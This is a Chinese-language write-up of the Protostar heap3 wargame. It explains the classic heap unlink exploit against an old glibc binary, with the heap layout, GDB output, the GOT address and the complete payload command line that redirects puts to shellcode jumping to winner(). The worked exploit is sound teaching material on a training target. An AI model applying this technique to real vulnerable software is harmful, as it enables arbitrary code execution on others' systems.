1 概述
https://exploit-exercises.com/protostar/heap3/
本题展示了classic heap unlink exploit。
前置技能:
要了解ptmalloc堆;
熟悉classic heap unlink exploit。
2 题目
Heap3.c
3 思路
Heap3是使用GLIBC_2.0静态编译的。Glibc 2.3.4之前都没有FD/BK链表检查。因此,可以使用classic heap unlink exploit。
#查看使用的glibc版本
$ strings ./heap3 | grep GLIBC
GLIBC_2.0
【思路】
很明显,strcpy可以造成溢出,可以使用classic heap unlink exploit。
但是,这里使用classic heap unlink exploit有几个问题:
(1)malloc分配的是fast chunk,free后会放入fast bin链表头部,不会进入small chunk/large chunk的unlink和合并流程。
查看glibc 2.0.6的代码,那个时候还没有fast chunk;
即使有fast chunk,也可以strcpy时覆盖size字段,让chunk变为small chunk;
(2)释放是先释放高地址chunk的,后释放低地址chunk的。为了使用用户提供的数据,这里需要unlink和合并低地址的chunk,但是低地址的chunk还没有被释放了。
Ptmalloc是通过size字段PREV_INUSE标志(最低比特)判断的,为1表示低地址chunk在使用,为0表示已释放。因此可以覆盖size字段,让其最低比特为0即可让ptmalloc误认为低地址chunk已被释放。同时由于用户输入的数据不能包含0,这里使用负数-4。
(3)Ptmalloc获取低地址chunk,是通过本chunk的地址减去prev_size字段得到的,通过覆盖prev_size,可以控制低地址chunk的位置。如果prev_size为负数,则获取的低地址chunk实际上比本chunk地址大。
(4)刚开始第一反应是使用unlink来修改puts@got处的值为addr_of_winner。但是使用unlink修改时,fd-3*U和bk-2*U两个地址必须可写。而addr_of_winner位于代码段,不可写。这里通过可写的shellcode跳转到winner函数的。
【实施过程】
堆内存布局如下:
chunk1 | prev_size |
|
size |
| |
fd&bk/data[32] Shellcode | "A"*4 | |
chunk2 | prev_size |
|
size |
| |
fd&bk/data[32] | "A"*32 | |
chunk3 | prev_size | -8 |
size | -4 | |
fd&bk/data[32]/ | "A"*8/"CCCC\0" | |
data+8/fake_prev_chunk.fd&bk | addr_puts@got-12 |
1. Winner函数的地址
题目的最终目标是控制EIP,执行winner函数。
Winner函数的地址
$ readelf -s ./heap3 | grep win 74: 08048864 37 FUNC GLOBAL DEFAULT 14 winne |
2. Chunk的地址
GDB调试发现3个chunk的地址分别为:
0x0804c000
0x0804c028
0x0804c050
(gdb) b main Breakpoint 1 at 0x8048892: file heap3/heap3.c, line 16. (gdb) r (gdb) b *0x0804889e (gdb) b *0x080488ae (gdb) b *0x080488be (gdb) c (gdb) x $eax 0x804c008: 0x00000000 (gdb) c (gdb) x $eax 0x804c030: 0x00000000 (gdb) c (gdb) x $eax 0x804c058: 0x00000000 |
3. puts@got的地址
$ readelf -r ./heap3 |grep puts
0804b128 00000e07 R_386_JUMP_SLOT 00000000 puts
0x0804b128-12 = 0x0804b11c
4. shellcode
跳转到winne函数:
push 0x08048864
ret
对应的汇编代码为:
\x68\x64\x88\x04\x08\xc3
利用在线汇编与反汇编
https://defuse.ca/online-x86-assembler.htm#disassembly
shellcode的地址是chunk1+0x0c
5. GDB调试中的堆内存布局:
(gdb) b main Breakpoint 1 at 0x8048892: file heap3/heap3.c, line 16. (gdb) r $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC (gdb) b *0x08048911 Breakpoint 2 at 0x8048911: file heap3/heap3.c, line 24. (gdb) c Continuing.
Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffffd24) at heap3/heap3.c:24 24 in heap3/heap3.c (gdb) x/120bx 0x0804c000 0x804c000: 0x00 0x00 0x00 0x00 0x29 0x00 0x00 0x00 0x804c008: 0x41 0x41 0x41 0x41 0x68 0x64 0x88 0x04 0x804c010: 0x08 0xc3 0x00 0x00 0x00 0x00 0x00 0x00 0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c028: 0x00 0x00 0x00 0x00 0x29 0x00 0x00 0x00 0x804c030: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804c038: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804c040: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804c048: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804c050: 0xf8 0xff 0xff 0xff 0xfc 0xff 0xff 0xff 0x804c058: 0x43 0x43 0x43 0x43 0x00 0x41 0x41 0x41 0x804c060: 0x1c 0xb1 0x04 0x08 0x0c 0xc0 0x04 0x08 0x804c068: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c070: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 |
6. Unlink说明
Ø 首先,输入精心准备的数据。
Chunk1中填入”AAAA” + shellcode
Chunk2中填入"A" * 32,
同时覆盖chunk3的prev_size字段为-8("\xf8\xff\xff\xff"),
覆盖chunk3的size字段为-4("\xfc\xff\xff\xff")
覆盖chunk3的data字段为"A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08",这实际上是chunk3的fake_prev_chunk的前4个字段。
Chunk3中填入”CCCC\0”
这会覆盖chunk2已经填入的数据"A" * 8会被覆盖一部分。
Ø free(c)时chunk3被释放
if (!(hd & PREV_INUSE)) /* consolidate backward */
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -prevsz);
sz += prevsz;
unlink(p, bck, fwd);
}
定位低地址chunk时,是通过chunk3地址减去其prevsize字段得到的。
这里chunk3的prev_size是-8,因此定位的低地址chunk(称为fake_prev_chunk)指向了chunk3的data部分。
Ø Unlink fake_prev_chunk
因为chunk3的size字段(-4)最低比特(PREV_INUSE)为0,因此判断低地址chunk是空闲的,可以unlink。
Unlink fake_prev_chunk,会造成
A+3*U的位置写入了B
B+2*U的位置写入了A
这里A+3*U指向puts@got,B指向shellcode
最终会造成puts@got地址处写入了shellcode的地址;
Shellcode+2*U的地址处写入了puts@got的地址-3*U
这里shellcode只有6个字节,shellcode+8被改写没有什么影响
Ø 最终调用printf的时候,由于没有格式化参数,最终调用的是puts。
Puts被我们改为了指向shellcode,控制权转向shellcode;
Ø shellcode执行后,控制器转向winner函数
push 0x08048864
ret
7. 测试结果:
$ /opt/protostar/bin/heap3 $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC that wasn't too bad now, was it? @ 1524024651 |
4 附件
5 结论
1. 如果不是small chunk,可以覆盖size字段,让chunk变为small chunk。
2. 可以覆盖size字段,让其最低比特为0(PREV_INUSE)即可让ptmalloc误认为低地址chunk已被释放。同时由于用户输入的数据不能包含0,可以使用负数如-4。
3. 通过覆盖prev_size,可以控制低地址chunk的位置。如果prev_size为负数,则获取的低地址chunk实际上比本chunk地址大。例如prev_size为-8时,获取的低地址chunk实际上是chunk的数据部分。
4. unlink修改got表项时,要注意,被修改的值+2*U的地方必须可写。由于代码段不可写,如果要转向代码段的函数,可以通过shellcode跳转到代码段。
6 参考文档
1. https://gist.github.com/mgeeky/2eea516d7ad732d9f02f530688f55912
2. http://grantcurell.com/2015/08/16/protostar-exploit-challenges-heap3-solution-exploiting-dlmalloc/